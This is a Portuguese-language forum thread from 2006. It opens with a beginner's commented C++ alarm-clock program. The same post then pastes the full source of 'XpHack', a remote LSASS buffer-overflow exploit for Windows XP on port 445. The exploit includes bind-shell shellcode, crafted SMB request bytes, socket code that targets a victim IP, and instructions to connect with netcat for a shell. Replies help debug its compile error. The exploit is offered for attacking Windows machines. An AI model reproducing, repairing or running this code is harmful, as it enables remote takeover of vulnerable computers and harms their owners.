Firetail Simple Alarm 0.1 com tds linhas comentadas pra iniciantes

Started by Anonymous, 17 de July , 2006, 09:38:31 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Ae, fiz um softwarezinho bem basico... mas criativo e muito bem comentado pra qm ta iniciando
/*
Eu gostaria de deixar bem claro que esta é uma versão para testes e estudos de
principiantes em c++, assim como eu, e aceito sugestões, não incluindo design
gráfico.
Vou comentar linha por linha de código
*/

//bibliotecas(usadas para liberar funções que "facilitam sua vida")

#include <stdlib.h>   //usado no codigo para executar funções do sistema
#include <windows.h>  //ambiente em que vai rodar o programa, mas nesse caso, usado para liberar a função Sleep()
#include <iostream.h> //biblioteca in/out, usada no codigo para liberar a função cout e cin, funções de interação

int main() //função principal do c++: serve para operações basicas como >>(que vem após o cin), declarar variaveis e etc

{
    //apresentação(normalmente inicia-se um codigo de interação com uma apresentação e os creditos)
    cout << " \t\t: : : : : : : : : : : : : : : : : : :\n";         //função cout, usada para imprimir coisas na tela...
    cout << " \t\t: : : : : : : : : : : : : : : : : : :\n";         //escrever melhor dizendo. O "<<" após o cout serve
    cout << " \t\t: : : : : : : :  LT   : : : : : : : :\n";         //para mostrar que o que vem depois está dentro
    cout << " \t\t: : : : : : : Presents  : : : : : : :\n";         //do cout, você vai ver o proposito disso quando eu
    cout << " \t\t: : : : : :  by Firetail  : : : : : :\n";         //explicar o cin... após você indicar o que vem
    cout << " \t\t: : : : Firetail Simple Alarm : : : :\n";         //escrito, escreve-se o texto entre aspas. O
    cout << " \t\t: : : : : : : : : : : : : : : : : : :\n";         //ponto-e-virgula(;) indica o fim de uma linha
    cout << " \t\t: : : : : : : : : : : : : : : : : : :\n\n\n\n\n"; //de codigo. Reparem que uso \t e \n... estes são
                                                                    //usados para colocar tabelas e linhas em
                                                                    //branco(parágrafos) no texto. \t são tabelas e \n
                                                                    //linhas novas(table e newline).

    int a=0, h, firetail; /*a função int serve para declarar uma variável inteira... melhor dizendo, um número sem
virgulas... isso serve para você poder fazer interação com números, o que será visto a seguir, e, acabando de
explicar variaveis inteiras, variáveis são letras que substituem números, por exemplo: declarei "a" e atribui 0 ao
seu valor, portanto, "a" é igual a zero... e caso eu some 3 à "a", ele passará a ser 3*/

    double x; /*mesma coisa que o int, mas com o double vc tem casas decimais disponiveis.
ex.: double a=3.4876556(em ingles "." eh o mesmo que "," no portugues, sendo "," lá o nosso "." :: dez mil
lá se escreve 10,000)*/

    //comando cout já explicado com suas funções, pulado.
    cout << "choose the time witch will be taken to the alarm starts ringging:\n(type the hours then press<enter> then type the minutes then press<enter>)\n\nhours: ";
    cin >> firetail; /*interação direta com o usuário. repare que após o cin está >>, isso porque  o valor que
o usuario colocar no cin será colocado por cima do valor da variavel inteira firetail*/

    //comando cout já explicado com suas funções, pulado.
    cout<<"\nminutes: ";

    //comando cin também já explicado
    cin >> h;

    //substituição de valores, para poder fazer os valores definidos em horas(hours) e minutos(minutes) multiplicarem-se.
    firetail=firetail*60;
    firetail=firetail*60;
    h=h*60;
    x=firetail+h;

    system("cls"); /*usa uma função do sistema, por exemplo: vc abre um prompt e digita algo nele.
O comando cls limpa a tela do prompt*/

    cout << "Ringging in: " << x << " secconds"; /*uma coisa interessante que pode ser feita usando o cout: ele vai
escrever o que vc mandou, vai escrever x e vai escrever o q vc mandou de novo*/

    system("cls"); /*limpando a tela(combinado com o cout, pra pessoa ver quantos segundos será o total
a esperar para tocar o alarme*/

    /*aqui já complica um pouco: ele vai fazer o seguinte: enquanto o valor atribuido a "x" for
maior do que "a" ele diminuirá 1 do valor atribuido a "x" e fará as ações citadas dentro das chaves, depois, reduzirá
mais 1 de "x"... sucessivamente, até "x" ficar igual a "a"*/
    for (x>a; x--;){
         cout << "Ringging in: " << x << " secconds";  //ação já explicada
         Sleep(1000);      //tempo de trava para fazer as outras ações
         system("cls");
         } //aqui acabam as funções e da o loop, ou seja, quando chega aqui o codigo se repete até alcançar a condição

    //alcançando a condição o codigo segue... e aqui está seu resto
    system("start APPS/alarme.html"); //função de sistema que faz começar um programa(no windows)

    system("cls");
}   //fim do codigo

//ps.: ler o codigo html dentro do apps

queria aproveitar pra pedir uma coisa:

/*
--------XpHack 1.0 Beta--------

   CODED BY: JOCANOR

  This is a first exploit of a project called ASQ12.
  ASQ12 is a collection of exploits codeds for me, the
  expoloits of the collection are simple to use by anybody.

  Some exploits of my project ASQ12 are still private,

  ***and some are based on anothers exploits*****

  Use at your own risk, this code if only for educational purposes,
  the autor is not reponsable.

  This is a Exploit coded for hack all windows xp by the bug:

  Lsass in port 445 tcp/ip, remote buffer overflow.

  You can get a shell Easy with this code, example:

  C:\> xphack 198.0.0.1 4444
 
  later open a new cmd and type:

  C:\> nc 192.0.0.1 4444

  Happy Hacking!!!!!!!!!!!!

JOCANOR (c) 2004

*/
#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

#pragma comment(lib, "ws2_32")

unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";

#define LEN 3500
#define NOP 0x90
#define BUFSIZE 2000

int main(int argc, char *argv[])
{

int i;
char hostipc[40];
char *target;
char hostipc2[40*2];
unsigned short port;
unsigned long ip;
unsigned char *sc;
char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char req4u[sizeof(req4)+20];
char screq[BUFSIZE+sizeof(req7)+1500+440];
char recvbuf[1600];
char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];
int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;

printf("\n     -----XpHack 1.0 beta-----\n");
printf("-----ExPlOiT CoDeD By: JoCaNoR-----\n\n");

if (argc < 2)
{
printf("Usage:\n\n");
printf("xphack <victim ip> <binshell port>\n\n");
exit(0);
}


target = argv[1];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++)
{
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

port = htons(atoi(argv[2]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
memset(strBuffer, NOP, BUFSIZE);
    memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=0x01004600;

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[1])) == NULL)
{
perror("Unable to resolve");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket error");
exit(1);
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("Connecting...");
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("\nError, cna't connect to victim machine");
exit(1);
}

printf("Good\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

printf("Getting a shell...");
if (send(sockfd, req4u, smblen+4, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req5, sizeof(req5)-1, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1)
{
printf("Error\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1)
{
printf("Error\n");
exit(1);
}

printf("OoOoOps shell!!\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}

/* CODED BY JOCANOR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/
alguem iguala um char ao unsigned char *sc pra mim ou diz como faço por favor? VLW!!!

Anonymous

Nao intedi muito bem mas..
unsigned char = 0 de 255
signed char = -127 ate 127

Bom o xpl compilo sem apresenta erros aqui =/

HadeS


Anonymous

alguem iguala um char ao unsigned char *sc pra mim ou diz como faço por favor? VLW!!!
Não entendi sua pergunta ao certo, não seria mais facil declara-la diretamente ?



Bye  8)

Skayler

Away

Anonymous

como diz o exploit:
/*
      --------XpHack 1.0 Beta--------

            CODED BY: JOCANOR

  This is a first exploit of a project called ASQ12.
  ASQ12 is a collection of exploits codeds for me, the
  expoloits of the collection are simple to use by anybody.

  Some exploits of my project ASQ12 are still private,

  ***and some are based on anothers exploits*****

  Use at your own risk, this code if only for educational purposes,
  the autor is not reponsable.

  This is a Exploit coded for hack all windows xp by the bug:

  Lsass in port 445 tcp/ip, remote buffer overflow.


  You can get a shell Easy with this code, example:

  C:\> xphack 198.0.0.1 4444
 
  later open a new cmd and type:

  C:\> nc 192.0.0.1 4444

  Happy Hacking!!!!!!!!!!!!

                     JOCANOR (c) 2004

*/
exploit pra hackea tds os windows pelo bug q tem no lsass na porta 445.
o erro esta na linha 239(conversao invalida d unsigned char pra const char)

Anonymous

Firetail

Estude as variaveis deste code, e verá onde tem que muda-lo, eu arrumei ele, compilou sem erros, mais esse xpl não funcionou certo não



By

Anonymous

Quote from: "Defcon"Firetail

Estude as variaveis deste code, e verá onde tem que muda-lo, eu arrumei ele, compilou sem erros, mais esse xpl não funcionou certo não

vlw kra, nem vo mais tenta compila, ja q n funfa mesmo ;x



By